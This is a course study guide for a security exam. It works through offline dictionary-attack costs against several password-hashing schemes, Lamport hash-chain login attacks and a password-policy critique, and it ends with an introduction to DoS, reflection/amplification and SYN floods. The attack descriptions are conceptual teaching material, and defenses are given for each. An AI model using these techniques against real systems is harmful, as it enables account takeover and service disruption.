The threat model in these problems is the ***offline attack***: the attacker (usually called Mallory) has already stolen a copy of the password database and hashes candidates on her own machine at her own speed – there is no server to rate-limit her and no lockout to slow her down. The reason guessing works in practice is that humans pick terrible passwords: the exam models this by saying every password comes from a publicly known list of L candidates (a ***dictionary***). Guessing all L candidates against one stored digest therefore costs at most L hash evaluations. A ***rainbow table*** pushes this further: an attacker precomputes the digest of every candidate ONCE, stores the (digest, password) pairs, and then cracks any unsalted digest with a pure table lookup – zero new hashes. Exam cost model: only hash evaluations count – comparisons, concatenations, and database reads/writes are free.

The classic defense is a ***salt***: a random, per-user value that is PUBLIC (stored in cleartext next to the digest). The server stores $(username,\ s,\ H(s \,\|\, password))$. Because the salt differs per user, the digest function differs per user, so one precomputed dictionary no longer fits all users – rainbow tables die. The salt is not meant to be secret; its entire job is to destroy reuse across users. Two facts to memorize:

- a single global salt is not a salt – if every user shares the same salt, all digests still share one function and rainbow tables work again.
- A ***slow hash / KDF*** (bcrypt, scrypt, Argon2, PBKDF2 – essentially H iterated tens of thousands of times) multiplies the cost of EVERY guess by a huge constant; a legitimate user logs in once and barely notices, but an attacker making billions of guesses cannot afford it.

Every cost-accounting sub-question is solved by one principle: ***factor the stored-value formula*** into two kinds of subexpressions.

- ***User-independent subexpressions*** – anything built only from the password, e.g. $H(password)$: precompute once for all L candidates and reuse the result for every user.
- ***Per-user subexpressions*** – anything the username or a per-user salt touches, e.g. $H(username \,\|\, password)$: must be recomputed from scratch for each of the U users.

The PLACEMENT of H decides everything: an H wrapped around the whole expression (username included) forces $U \cdot L$ fresh evaluations, while $H(password)$ sitting as an inner term can be precomputed into a dictionary costing only L once. The four canonical shapes, for recovering all passwords:

- $H(password)$: L hashes (one dictionary serves all users).

- $H(username \,\|\, password)$: $U \cdot L$ hashes (no reuse possible).
- $H(H(username) \,\|\, password)$: $U + U \cdot L$ hashes (precompute $H(username)$ once per user).
- $H(username \,\|\, H(password))$: $L + U \cdot L$ hashes (precompute the L hashed passwords).

For the replacement attack (set every password to pwned) the same factoring applies, but remember the classic trap: pwned is not in the candidate list, so its inner hash can never come from the precomputed dictionary – it costs one extra evaluation.

The second scheme family is the ***Lamport hash chain*** (one-time passwords). At registration the client computes $H^N(pwd \,\|\, salt)$ – apply H a total of N times, where $H^0(x) = x$ and $H^3(x) = H(H(H(x)))$ – and the server stores it in a variable *stored*. At login number i the client sends $H^{N-i}(pwd \,\|\, salt)$; the server checks $H(\text{received}) = stored$ and, on success, updates $stored :=$ received. Think of the chain as a rope with exponent marks: registration hangs the top value $H^N(pwd \,\|\, salt)$ on the server as *stored*, and each login uses a mark one LOWER than the last (H^{N-i}, then H^{N-i-1}, and so on). Hashing moves you UP the rope, from exponent k to $k+1$, toward the registered top value – that is exactly what the server does to verify: it hashes the received token once and compares with *stored*. One-wayness means nobody can step DOWN the rope: going from the token just sent, $H^{N-i}(pwd \,\|\, salt)$, to the next login's token, $H^{N-i-1}(pwd \,\|\, salt)$, would require inverting H, which is infeasible. Consequences, all of which have appeared on exams:

- The server needs to know NEITHER *pwd* NOR *salt* – it only hashes the received token once and compares; the client built the whole chain at registration.
- The next token $H^{N-i-1}(pwd \,\|\, salt)$ CANNOT be derived from the token just sent – that would mean inverting H once. The client must recompute it from $pwd \,\|\, salt$ at a cost of $N - i - 1$ hash evaluations.
- At login $i = N$ the client sends $H^0(pwd \,\|\, salt) = pwd \,\|\, salt$ in plaintext, so a network eavesdropper learns the password exactly there.
- An attacker who can WRITE *stored* picks any value v, sets $stored := H(v)$, and logs in by sending v – no knowledge of *pwd*, *salt*, or i required.

Design-critique questions (the third exam family) reuse four terms you must define before you can argue with them.

- ***Kerckhoffs' principle***: a system's security must depend ONLY on the secrecy of the key (here: the password), never on the secrecy of the algorithm. Public algorithms are attacked by thousands of experts and survive; a secret home-grown hash often hides fatal flaws, and the moment its design leaks, everything breaks at once. So "our experts invented a secret hash" is a weakness, not a strength.
- ***Denial of service (DoS)***: an attack that steals nothing but makes the system unusable for legitimate users. Example: if an account locks after 3 failed logins, an attacker can deliberately fail 3 logins on YOUR username to lock you out – this is called user-targeted DoS.
- ***Two-factor authentication (2FA)***: login requires two independent proofs, typically "something you know" (a password) plus "something you have" (a phone or hardware token). A stolen password alone no longer suffices, which is why 2FA is the standard fix for weak-password and password-reset problems.
- ***Trusted computing base (TCB)***: the set of all hardware, software, and PEOPLE that must behave correctly for the system to stay secure. Every fallback server and ev-

ery extra administrator enlarges the TCB, and a larger TCB means more components whose compromise breaks everything.

define every term you use in a critique answer – the grader cannot give points for an argument built on undefined vocabulary.

Theory Cheat-Sheet

- Cost model: only hash evaluations count; comparisons, concatenation and DB operations are free.
- Unsalted $H(password)$: recover all U passwords costs L hashes; set all to pwned costs 1 hash.
- Username/salt inside the OUTER hash kills reuse: recovery $U \cdot L$, replacement U.
- $H(password)$ as an INNER term: precompute the dictionary once: recovery $L + U \cdot L$; replacement $1 + U$ (pwned is NOT in the list, so its inner hash costs 1 extra).
- $H(username)$ as an inner term: precomputable once per user, adding a flat $+U$ term.
- Lamport chain: login i sends $H^{N-i}(pwd \,\|\, salt)$; server checks $H(\text{received}) = stored$; the next token cannot be derived from the current one (one-wayness); login N leaks pwd in plaintext; a DB-writer sets $stored := H(v)$ and logs in with v.

How to Identify

Use this scheme when the problem provides A password database with U users whose passwords come from a known list of L candidates, a concrete storage formula built from a secure hash H and concatenation (e.g. $H(password)$, $H(username \,\|\, password)$, $H(H(username) \,\|\, password)$, $H(username \,\|\, H(password))$), and an attacker Mallory who can read and modify the database; or a Lamport-style hash-chain scheme using $H^k(pwd \,\|\, salt)$ with a server-side "stored" variable and a network- or server-compromising attacker; or a list of organizational password measures to critique. Only hash computations count as cost; comparisons and database operations are free. and asks you to For each storage scheme, describe the attack and compute the exact number of hash evaluations needed (a) to recover every user's password and (b) to change every password to a fixed new value such as "pwned"; or, for hash-chain schemes, justify what the server must know, compute the chain index/cost of the next login, state at which login an eavesdropper learns the password, and show how a server-compromising attacker logs in without pwd, $salt$, or the login index; or, for design critiques, map each measure to the threats it counters, the vulnerabilities it leaves or introduces, and better countermeasures. Look for keywords like: *"password storage", "how many hashes", "salt", "username++password", "secure cryptographic hash function", "password list", "dictionary", "hash chain", "H^k", "login", "stored", "pwned", "rainbow table", "concatenation".*

Algorithm: Precompute-and-reuse cost accounting

Step 1: Parse the scheme: Write down the exact stored-value formula, the attacker's capabilities (read DB, modify DB, eavesdrop logins, compromise server), and the goal:

- ***recovery***: determine every user's password;
- ***replacement***: overwrite all entries so every password becomes a fixed new value (e.g. pwned).

Recall the cost model: only hash evaluations count.

Step 2: Factor the formula: Split the hash expression into

- ***user-independent subexpressions*** – precompute once, reuse for all users. E.g. $H(password)$ is the same for every user: a dictionary of all L values costs L hashes total.
- ***per-user subexpressions*** – anything concatenated with the username or a per-user salt must be recomputed for each user.

This factoring decides the entire answer.

Step 3: Count the recovery cost: For each of the U users, test all L candidates against the stored value; total = (one-time precomputation) + $U \times L\times$ (hashes per candidate after reuse). The four canonical shapes:

- $H(pwd)$: L (one dictionary serves all users).
- $H(user \,\|\, pwd)$: $U \cdot L$ (salt kills reuse).
- $H(H(user) \,\|\, pwd)$: $U + U \cdot L$ (precompute $H(user)$ per user).
- $H(user \,\|\, H(pwd))$: $L + U \cdot L$ (precompute the L hashed passwords).

Step 4: Count the replacement cost: Apply the same factoring to the new password pwned: compute its user-independent inner hash once if the formula needs it, then one outer hash per user:

- $H(pwned)$: 1 hash, written everywhere.
- $H(user \,\|\, pwned)$: U hashes.
- $H(H(user) \,\|\, pwned)$: $U + U = 2U$.
- $H(user \,\|\, H(pwned))$: $1 + U$.

Trap: pwned is not in the candidate list, so its inner hash can never come from the dictionary precomputation – it costs one extra evaluation.

Step 5: Justify impossibility where asked: If a goal requires inverting H (recovering a password outside the candidate list, or walking a hash chain backwards), state that it is ***infeasible because*** H ***is one-way***. Likewise state that the server only needs to know the values it actually compares – it never needs *pwd* or *salt* themselves.

Step 6: Handle hash chains: For Lamport-style schemes where login i sends $H^{N-i}(pwd \,\|\, salt)$ and the server checks $H(\text{received}) = stored$ then updates *stored*:

- The next login needs exponent $N - i - 1$; it CANNOT be derived from the sent value (one-wayness) and costs full recomputation from $pwd \,\|\, salt$, i.e. $N - i - 1$ hashes.
- At login N the client sends $H^0(pwd \,\|\, salt) = pwd \,\|\, salt$ in plaintext – an eavesdropper learns the password here.
- An attacker who can write *stored* sets $stored := H(v)$ for a chosen v and logs in with v – no knowledge of pwd, $salt$, or i required.

Step 7: State exact totals: Give the final count per scheme and per goal as a closed formula in U and L (e.g. L and 1; $U \cdot L$ and U; $U + U \cdot L$ and $2U$; $L + U \cdot L$ and $U + 1$), each with one line of justification naming what was precomputed and what is per-user.

Step 8: Critique each measure: For design-critique questions, process the listed measures ONE AT A TIME, and for each measure answer the four required axes in order:

- ***Threats countered***: name the concrete attack the measure defends against (e.g. hashing protects the stolen file; a salt counters rainbow tables; composition rules counter dictionary attacks; lockout counters ONLINE guessing).
- ***Remaining vulnerabilities***: state what still breaks. Recurring findings: a single global salt is not a salt (rainbow tables still work); a secret proprietary hash violates ***Kerckhoffs' principle***; extra servers/admins enlarge the ***trusted computing base***; harsh rules push users to write passwords down; lockout enables user-targeted ***denial of service***; a reset channel with no authentication lets anyone take over an account.
- ***Better countermeasure***: per-user salts with a public, well-studied, ideally slow KDF (bcrypt/scrypt/Argon2/PBKDF2); server hardening and least privilege; turn strict rules into recommendations plus breached-password checks and ***two-factor authentication***; e-mail reset links and backoff/captcha instead of hard lockout.
- ***Decision factors***: cost versus benefit, the security level the service actually needs, usability (onerous rules backfire), and the overall security state of the company.

Use the defined terms explicitly – define every term you use.

Exam Variations & Traps

- **Variation 1 (Hash placement / nesting):** The professor permutes where H and the username sit: $H(password)$, $H(username \,\|\, password)$, $H(H(username) \,\|\, password)$, $H(username \,\|\, H(password))$. Where the inner hash sits decides what is reusable: a dictionary of $H(pwd)$ is reusable across users only when $H(pwd)$ appears as an INNER term (giving $L + U \cdot L$ instead of $U \cdot L$); $H(username)$ is precomputable once per user (adding a flat

U). Trap: forgetting that pwned is not in the L-list, so its inner hash costs one extra evaluation in the replacement attack ($U + 1$, not U).

- **Variation 2 (Lamport hash-chain login):** Instead of a static database, the scheme sends $H^{N-i}(pwd \,\|\, salt)$ at login i and the server verifies $H(\text{received}) = stored$. Sub-questions ask whether the server needs $pwd/salt$ (no – it only compares hashes), the cost of the next login (full recomputation; the chain cannot be walked backwards), when an eavesdropper learns pwd (at $i = N$, since $H^0(x) = x$ is sent in plaintext), and the server-compromise attack (set $stored := H(v)$, log in with v). Trap: thinking the next token can be derived from the current one – one-wayness forbids it.

- **Variation 3 (Role reversal: attacker writes the database):** The second goal always flips the attacker from reader to writer: instead of cracking, Mallory replaces stored hashes so every user has password pwned. The cost structure mirrors recovery but with L replaced by the single value pwned. Traps: reusing the dictionary of L password hashes for pwned (impossible – pwned is not in the list), or forgetting that the per-user salt forces U separate outer hashes.

- **Variation 4 (Design-critique checklist):** Other sittings list organizational measures (secret proprietary hash, one global "salt", strict composition rules, forced rotation, lockout, phone recovery) and ask which attack each counters. Map each measure: a proprietary hash violates ***Kerckhoffs' principle***; a global salt is not a salt and does not stop rainbow tables – only per-user salts do; lockout/rate limiting stops ONLINE guessing but enables user-targeted DoS; a ***slow KDF*** (bcrypt/scrypt/Argon2/PBKDF2) raises OFFLINE cracking cost. Adapt by naming the attack each measure does and does not address.

Guided Walkthrough (Learn the Method on One Question)

Problem: Carol runs the user database of the music-streaming service TuneVault. The service has U users, each with a unique username, and every user picked a password from a publicly known list of L candidate passwords. H is a secure cryptographic hash function; concatenation is denoted $\|$. The attacker Trudy can read and modify the database, and her goals are (1) to compute every user's password and (2) to change every user's password to "letmein" (which is NOT in the candidate list). Only hash computations count as work; comparisons and database operations are free. For each of the following storage schemes, describe both attacks and give the exact number of hash evaluations Trudy needs:

(a) store $(username,\ H(password))$;

(b) store $(username,\ H(password \,\|\, username))$;

(c) store $(username,\ H(H(password) \,\|\, username))$;

(d) store $(username,\ H(password \,\|\, H(username)))$.

TuneVault also prototypes a Lamport-style one-time-password login: at registration the server sets $stored := H^{500}(pwd \,\|\, salt)$; at login i the client sends $H^{500-i}(pwd \,\|\, salt)$, and

the server checks $H(\text{received}) = \textit{stored}$ and then updates $\textit{stored} := \text{received}$. (i) Does the server need to know *pwd* or *salt*? (ii) After a successful login i, what must the client send at login $i+1$, can it derive that value from the token it sent at login i, and what does it cost? (iii) At which login does an eavesdropper learn $\textit{pwd} \,\|\, \textit{salt}$? (iv) Trudy compromises the server and may overwrite *stored*; show how she logs in as Carol without knowing *pwd*, *salt*, or i.

Solution (every step explained, including WHY):

- *Applying Step 1 (Parse the scheme):* First write down what is being asked before touching any formula. Goal (1) is ***recovery***: Trudy wants every user's actual password. Goal (2) is ***replacement***: she wants to overwrite the database so every password becomes letmein. The cost model says only hash evaluations count – so when we count, we ignore comparisons and database writes entirely. Beginner mistake to avoid: do not count the $U \times L$ comparisons; only the hashes. For the prototype login, Trudy additionally eavesdrops the network (part iii) and can write *stored* (part iv).

- *Applying Step 2 (Factor the formula):* Now do the factoring step – this decides everything, so spend your time here. In (a) the whole stored value is $H(\textit{password})$: no username anywhere, so it is fully ***user-independent***. In (b) and (d) the username is concatenated with the password INSIDE the outer hash, so nothing about the password can be reused across users. In (c) the inner term $H(\textit{password})$ is user-independent (one dictionary of L values works for everyone) but the OUTER hash mixes in the username, forcing per-user work. In (d) the inner $H(\textit{username})$ is constant per user, so it is precomputable once per user. Why this matters: every candidate you test against user 1's digest in scheme (b) is useless for user 2, because the username changed the input to H. For the replacement attack, note the trap now: letmein is not in the candidate list, so $H(\textit{letmein})$ can never come from the precomputed dictionary – it costs one fresh hash wherever an inner $H(\textit{pwd})$ is needed.

- *Applying Step 3 (Count recovery costs):* (a) Compute $H(\textit{candidate})$ for each of the L candidates once, then compare this dictionary against all U stored digests:

  $$L \text{ hashes.}$$

  The comparisons are free, so the U digests cost nothing extra. (b) The username sits inside the outer hash, so the dictionary idea fails: for EACH user, hash all L candidates concatenated with that user's name, giving

  $$U \cdot L \text{ hashes.}$$

  (c) Precompute the dictionary $H(\textit{candidate})$ for all L candidates (L hashes, reused for every user), then per user compute the outer hash $H(H(\textit{candidate}) \,\|\, \textit{username})$ for all L candidates ($U \cdot L$ hashes):

  $$L + U \cdot L \text{ hashes.}$$

  (d) Precompute $H(\textit{username})$ once per user (U hashes total), then per user compute $H(\textit{candidate} \,\|\, H(\textit{username}))$ for all L candidates ($U \cdot L$ hashes):

  $$U + U \cdot L \text{ hashes.}$$

Sanity check for beginners: the total is always (one-time precomputation) plus $U \cdot L$ times the per-candidate work that remains after reuse.

- *Applying Step 4 (Count replacement costs):* Now Trudy flips from reader to writer; the factoring from Step 2 still applies. (a) Compute $H(letmein)$ once and write it into all U entries: 1 hash (writes are free). (b) Per user compute $H(letmein \,\|\, username)$: U hashes. (c) Compute $H(letmein)$ once – letmein is not in the candidate list, so the dictionary from Step 3 does NOT contain it – then per user compute $H(H(letmein) \,\|\, username)$:

$$1 + U \text{ hashes.}$$

(d) Per user compute $H(username)$ (U hashes, counted fresh here; if you already did the recovery phase you may note the reuse) and per user compute $H(letmein \,\|\, H(username))$ (U hashes):

$$2U \text{ hashes.}$$

Common beginner error: writing U for (c) by assuming the dictionary covers letmein – it does not, because letmein is not among the L candidates.

- *Applying Step 5 (Justify impossibility where asked):* Part (i): the server needs NEITHER *pwd* NOR *salt*. Look at what the server actually does: it computes ONE hash of the received token and compares it with *stored*. The chain was created by the client at registration; the server only ever sees digests. This is the standard exam justification: name the exact operations the server performs (one hash, one comparison, one update) and observe that *pwd* and *salt* appear in none of them. Part (ii), first half: deriving the next token $H^{499-i}(pwd \,\|\, salt)$ from the token $H^{500-i}(pwd \,\|\, salt)$ just sent would require inverting H exactly once, which is infeasible because H is ***one-way***. Whenever a question asks "can X be derived from Y", check whether it requires reversing a hash – if yes, the answer is no, citing one-wayness.

- *Applying Step 6 (Handle the hash chain):* Part (ii), second half: at login $i + 1$ the client must send $H^{500-(i+1)}(pwd \,\|\, salt) = H^{499-i}(pwd \,\|\, salt)$. Since it cannot be derived from the previous token, the client recomputes it from $pwd \,\|\, salt$ by applying H exactly $499 - i$ times, costing

$$499 - i \text{ hash evaluations.}$$

Part (iii): at login $i = 500$ the client sends $H^0(pwd \,\|\, salt)$, and by definition $H^0(x) = x$, so the wire literally carries $pwd \,\|\, salt$ in plaintext. An eavesdropper therefore learns the password at the 500th login (and at no earlier login, because all earlier tokens are digests and H is one-way). Part (iv): Trudy picks ANY value v of her choice, overwrites $stored := H(v)$, and sends v as her login token. The server computes $H(v)$, finds it equal to *stored*, accepts, and updates $stored := v$. She never needed *pwd*, *salt*, or i – the server-side check only compares one hash, so whoever controls *stored* controls login.

- *Applying Step 7 (State exact totals):* Collect the answers as closed formulas with one-line justifications. (a) recovery L, replacement 1 (fully user-independent); (b) recovery $U \cdot L$, replacement U (username inside the outer hash kills all reuse); (c)

recovery $L + U \cdot L$, replacement $U + 1$ (dictionary of $H(candidate)$ reused; letmein costs one extra hash); (d) recovery $U + U \cdot L$, replacement $2U$ ($H(username)$ precomputed once per user). Prototype login: the server needs neither pwd nor $salt$; login $i+1$ requires a fresh $H^{499-i}(pwd \,\|\, salt)$ costing $499-i$ hashes; $pwd \,\|\, salt$ leaks in plaintext at login 500; a DB-writing attacker logs in by setting $stored := H(v)$ and sending v.

Real Exam Questions (With Step-by-Step Solutions)

Exam Practice: Regular exam (exam-with-solutions.pdf), Problem 2: Authentication – Password Storage [12 points]

Problem: Alice maintains a database of passwords with U users. Each user has a unique username and chooses a (not necessarily unique) password from a list of L passwords; U and L are positive integers, and H is a secure cryptographic hash function. Mallory can read and modify (read, add, update, delete) Alice's database and wants to achieve two goals: (1) compute the password of every user; (2) change the password of every user to "pwned", a password that is NOT in the list of L passwords. For each storage scheme below, describe the two attacks and determine how many hashes Mallory needs to compute for each (otherwise justify why it is not possible). Only hash computations count; comparisons and database reads/modifications are free.

(a) [3p] store: username and $H(password)$.

(b) [3p] store: username and $H(username + +password)$, where $++$ denotes string concatenation.

(c) [3p] store: username and $H(H(username) + +password)$.

(d) [3p] store: username and $H(username + +H(password))$.

Solution:

- *Applying Step 1 (Parse):* Two goals: recovery (find all U passwords) and replacement (set every password to pwned). Cost model: only hash evaluations count – the comparisons against the database and the writes back are free. Mallory may read and modify the database, so both attacks are available to her.

- *Applying Step 2 (Factor):* (a) $H(password)$ is fully user-independent: one dictionary of all L candidate hashes is reusable for every user. (b) the username is inside the (only) hash, so nothing is reusable – the username acts as a per-user salt. (c) the inner term $H(username)$ is constant per user and precomputable once per user; the outer hash still mixes in that per-user value, so the password part needs $U \cdot L$ work. (d) the inner term $H(password)$ is user-independent (dictionary of L reusable), but the outer hash concatenates the username, forcing per-user work. For the replacement attack, note: pwned is not in the list of L passwords, so $H(pwned)$ must be computed fresh wherever an inner password hash is needed.

- *Applying Step 3 (Recovery costs):* (a) Mallory computes the hash of each of the L possible passwords and compares with the list of hashes from the

database:

$$L \text{ hashes.}$$

(b) The hashes are effectively salted by the username, so Mallory must hash the entire list of L passwords once for every user:

$$U \times L \text{ hashes.}$$

(c) First compute the hash of each username, a list of U hashed usernames (U hashes); then, for each user, combine their hashed username with all L passwords ($U \times L$ outer hashes):

$$U + U \times L \text{ hashes.}$$

(d) First compute the hash of the entire list of L possible passwords (L hashes, reused for all users); then, for each username, compute the hash of the username concatenated with each of the L hashed passwords ($U \times L$ outer hashes):

$$L + U \times L \text{ hashes.}$$

- *Applying Step 4 (Replacement costs):* (a) Compute the hash of pwned once and replace every user's stored hash with it:

  $$1 \text{ hash.}$$

  (b) Because the hash is salted with the username, compute $H(username + +pwned)$ separately for every user and replace the database with the matching $(username, H(username + +pwned))$ pairs:

  $$U \text{ hashes.}$$

  (c) First hash each username (U hashes), then compute the outer hash of each hashed username concatenated with pwned (another U hashes):

  $$2 \times U \text{ hashes.}$$

  (d) Compute $H(pwned)$ once – pwned is not in the list, so the precomputed dictionary does not help – then hash it together with each of the U usernames:

  $$U + 1 \text{ hashes.}$$

- *Applying Step 7 (Totals):* (a) L and 1; (b) $U \times L$ and U; (c) $U + U \times L$ and $2 \times U$; (d) $L + U \times L$ and $U + 1$. Each figure is justified by what could be precomputed once (user-independent terms) versus what had to be recomputed per user (terms the username touches).

Answer: (a) L hashes to recover, 1 to replace; (b) $U \times L$ and U; (c) $U + U \times L$ and $2U$; (d) $L + U \times L$ and $U + 1$.

Exam Practice: Regular exam (exam-problems-with-solutions.pdf), Problem 2: Authentication – Password Storage (hash chain) [10 points]

Problem: Alice designs a new authentication scheme. Let pwd be a secure password that only Alice knows, and let H^k be the result of repeatedly applying H, a cryptographically secure hash function, k times ($H^0(x) = x$ by definition; e.g. $H^3(x) = H(H(H(x)))$). Registration: (1) Alice securely generates a 128-bit salt; (2) Alice sends $H^{1000}(pwd \,\|\, salt)$ to the server; (3) the server stores Alice's username and this hash in a variable *stored*. Login for the i-th time (i starts at 1): (1) Alice sends $H^{1000-i}(pwd \,\|\, salt)$ to the server; (2) the server checks whether $H(H^{1000-i}(pwd \,\|\, salt))$ equals *stored*; (3) on success the server updates *stored* to $H^{1000-i}(pwd \,\|\, salt)$.

(a) [2p] Justify whether the server needs to know pwd and $salt$ to complete the login process.

(b) [2p] Eventually Alice logs in by sending $H^{800}(pwd \,\|\, salt)$. Given only pwd, $salt$, and $H^{800}(pwd \,\|\, salt)$, how many calls to H does Alice need for the next login request?

(c) [3p] Eve is a network attacker observing the communication between Alice and the server. At which login attempts would Eve learn some information about Alice's password pwd? Justify.

(d) [3p] An attacker has compromised the server and can modify the variable *stored*. Justify whether the attacker can log in as Alice without knowing i, pwd, or $salt$.

Solution:

- *Applying Step 5 (Impossibility / what the server needs – part a):* The server does NOT need to know either pwd or $salt$: login consists entirely of comparing hash values. The server computes ONE hash of the received token and compares it with *stored*; pwd and $salt$ appear in neither operation. The whole chain was built by Alice at registration.

- *Applying Step 6 (Hash chain – part b):* On the next login, i increases by 1, so the exponent $1000 - i$ decreases by 1: it changes from 800 to 799. Alice must therefore compute $H^{799}(pwd \,\|\, salt)$. She cannot get it from the $H^{800}(pwd \,\|\, salt)$ she just sent – that would require inverting H once, and H is one-way. Starting from $pwd \,\|\, salt$ and applying H repeatedly, she needs

  $$799 \text{ calls to } H.$$

- *Applying Step 6 (Hash chain – part c):* The key insight is the 1000th login: Alice sends $H^{1000-1000}(pwd \,\|\, salt) = H^0(pwd \,\|\, salt) = pwd \,\|\, salt$, from which Eve reads the password in plaintext. All other logins reveal nothing about pwd: they only expose digests, and because H is one-way Eve cannot reverse the chain to reach the original value (the salt additionally provides brute-force resistance).

- *Applying Step 6 (Hash chain – part d):* Yes, the attacker can log in. The server only checks that $H(\text{received token}) = stored$. The attacker picks ANY

value v, sets $stored := H(v)$ on the compromised server, and then simply provides v as the login token: the server computes $H(v)$, finds it equal to *stored*, and accepts. No knowledge of i, pwd, or $salt$ is required.

Answer: (a) No – the server only compares hash values; (b) 799 calls to H; (c) at the 1000th login, where Alice sends $H^0(pwd \,\|\, salt) = pwd \,\|\, salt$ in plaintext; (d) yes – set $stored := H(v)$ for a self-chosen v and log in by sending v.

Exam Practice: Exam HT2019 (dasak19), Part II, Problem 4: Authentication – Passwords [5 points]

Problem: The passworth.com web service provider wants to make sure their users' passwords are protected. They take the following measures: (1) Passwords are hashed, not stored in plain text; the hash function was developed and refined over several years by passworth.com experts and kept secret; a salt has been added (the randomly generated prime number 3,184,497,539). (2) Access rights to the stored hashes are given only to the web server (and 3 fallback servers) and a few system administrators. (3) Strict password guidelines: at least 16 characters, at least 2 numbers, 2 special characters, mixed upper/lower case; users must change passwords regularly (once a month, same as the billing cycle). (4) After 3 incorrect password entries the account is blocked, and the user must call the hotline and say their username to get a new password over the phone (to avoid sending passwords by e-mail). You are hired in passworth.com's security team to evaluate the setup. For EACH measure, state concisely: (1) against what threats it protects, (2) what potential vulnerabilities remain or are introduced, (3) which countermeasures you would choose instead, and (4) which factors you take into account for your choice.
Solution:

- *Applying Step 1 (Parse the critique structure):* This is the design-critique variation: there is nothing to compute, but the answer must be organized measure-by-measure along the four required axes (threats countered, remaining vulnerabilities, better countermeasures, decision factors). Grading gave one point per measure for getting most things right, plus a point for clear, concise explanations throughout.

- *Applying Step 8 (Critique each measure) – Measure 1 (hashing + secret hash + one global salt):* Protects against: reading the passwords when someone gains access to the password file (hashing) and against rainbow tables (salt). Remaining vulnerabilities: there is a SINGLE salt for everyone, so the same password still gives the same hash across users – the salt fails its real job; and the home-grown secret hash function might itself be vulnerable (keeping the algorithm secret violates ***Kerckhoffs' principle***: security should rest on the key, not on algorithm secrecy). Instead: use individual per-user salts and a well-studied PUBLIC (ideally slow) hash function/KDF such as bcrypt, scrypt or Argon2.

- *Applying Step 8 (Critique each measure) – Measure 2 (restricted access rights to the hashes):* Protects against: wider access to the password file – fewer

principals can read the digests, shrinking the attack surface for offline attacks. Remaining vulnerabilities: web attacks could still exploit the server's access (e.g. injection or file-read vulnerabilities on the web server reach the hashes), and the fallback servers and administrators enlarge the trusted computing base. Instead: strengthen web security and server configuration (patching, least privilege, hardening), not just file permissions.

- *Applying Step 8 (Critique each measure) – Measure 3 (strict composition rules + monthly rotation):* Protects against: dictionary attacks (the rules avoid common, simple passwords) and long-term compromise of a password (the monthly change limits how long a stolen password stays valid). Remaining vulnerabilities: the onerous requirements push users to write passwords down or pick predictable patterns, and forced monthly rotation typically produces weak, predictable modifications (Password1 $\rightarrow$ Password2). Instead: drop the forced policy and turn it into a recommendation (prefer long passphrases, check against breached-password lists), possibly combined with 2-factor authentication.

- *Applying Step 8 (Critique each measure) – Measure 4 (lockout after 3 failures + phone reset):* Protects against: online brute-force attacks (rate limiting via lockout). Remaining vulnerabilities: an attacker can lock out any user at will (user-targeted denial of service), and the password reset has NO authentication – anyone can call the hotline, give a username, and receive a new password. Instead: send a reset LINK to the user's registered e-mail (or use 2-factor authentication) instead of handing out passwords over the phone; add backoff/captcha rather than hard lockout.

- *Applying Step 8 (Critique each measure) – Decision factors:* The factors to take into account when choosing countermeasures: cost versus benefit, the level of security the service actually needs, usability (onerous rules backfire into worse user behavior), and the state of security overall at the company.

Answer: Measure-by-measure: hashing + secret hash + single global salt partly protects the file but fails Kerckhoffs' principle and real salting (use per-user salts and a public slow KDF); restricted access shrinks exposure but web attacks still reach the server (harden the server); strict rules and monthly rotation counter dictionary attacks and long-term compromise but push users to write passwords down (make it a recommendation, add 2FA); lockout + phone reset counters online guessing but enables user DoS and unauthenticated resets (use e-mail reset links and 2FA).

For more practice, see past-exam instances: dasak18combinedWithSolutions-1.pdf::Part II Problem 4

10 Question Type 10: DoS attack construction and countermeasure/responsibility analysis

Theory Background (Start Here if You Know Nothing)

Start from the big picture. Security people summarize the goals of protection with the ***CIA triad***: ***confidentiality*** (only authorized parties can read data), ***integrity*** (only authorized parties can change data), and ***availability*** (authorized parties can actually *use* the system when they need to). A ***denial-of-service (DoS) attack*** is any attack on the third property: it does not steal or modify data, it makes a service slow, unreachable, or crashed so that legitimate users cannot use it. When the attack is launched simultaneously from many machines (usually a ***botnet*** of hacked devices controlled by the attacker), it is called a ***distributed DoS (DDoS)***. A DoS attack works by exhausting some limited resource. The whole analysis of any DoS question is: find *which resource* runs out, and *who* can stop that from happening.

Which resource can be exhausted? Four recurring targets:

- ***Bandwidth***: the attacker's traffic (or traffic it causes) fills the victim's network link, so legitimate packets are dropped or delayed. Example: an ***ICMP flood*** (huge numbers of ping packets).
- ***State / memory***: the server keeps a table entry per client or per pending connection; the attacker creates so many entries that the table is full. Example: the ***SYN flood***.
- ***Computation***: one cheap request forces expensive server work (verifying a signature, scanning a file, generating megabytes of output), so the CPU saturates.
- ***Correctness***: a single malformed input crashes the program (buffer overflow, unhandled exception).

The key economic insight: the attacker wins when the attacker spends less than the victim loses. If one small packet forces the victim to spend a lot of bandwidth, memory, or CPU, even an attacker with a slow home connection can kill a big server.

To understand the classic attacks you must know one networking fact: ***source IP addresses can be forged on connectionless protocols***. UDP and ICMP are ***connectionless***: a machine just emits a packet with a claimed "from" address and nobody checks it. So the attacker Mallory can send a UDP packet whose source address is the *victim's* address — this is called ***IP spoofing***. TCP is different: before any data flows, TCP runs a three-way handshake (SYN, SYN-ACK, ACK). The machine claiming an address must actually receive the SYN-ACK sent back to that address, which a spoofer cannot do, so TCP verifies the source address, UDP and ICMP do not. A second attacker capability to keep in mind is the ***man in the middle (MITM)***: an attacker positioned on the network path between two parties, who can read, modify and retransmit the messages passing through.

Spoofing enables the two most famous amplification attacks. ***Reflection***: Mallory sends many small requests, each with the *victim's* spoofed source address, to many innocent servers; each server politely sends its reply to the victim. The victim is flooded by traffic from servers it never contacted, and Mallory's own address never appears. ***Amplification***: the reply is much bigger than the request, so the flood is bigger than anything Mallory could send herself — a classic example is a $\approx$ 60-byte DNS query producing a $\approx$ 4 KB answer (about 60×). The reflector supplies the bandwidth, so the attacker's own bandwidth is irrelevant. This is exactly why exam questions say "assume the attacker has

less bandwidth than the victim" — they want you to realize that this does not save the victim.

The ***SYN flood*** targets state instead of bandwidth. When a server receives a TCP SYN it allocates a *half-open* entry in its ***connection table*** and waits for the final ACK. If Mallory sends a stream of SYNs with spoofed, non-existent sources, the ACKs never arrive; the table fills with half-open entries until legitimate new connections can no longer be accepted. Each cheap SYN costs the server a table slot until a timeout expires, so again a weak attacker defeats a strong server. Standard fixes: shorter timeouts on half-open entries, per-source-IP limits, and ***SYN cookies*** (encode the connection state inside the TCP sequence number so the server stores *nothing* until the client proves it is real by returning the cookie in its ACK).

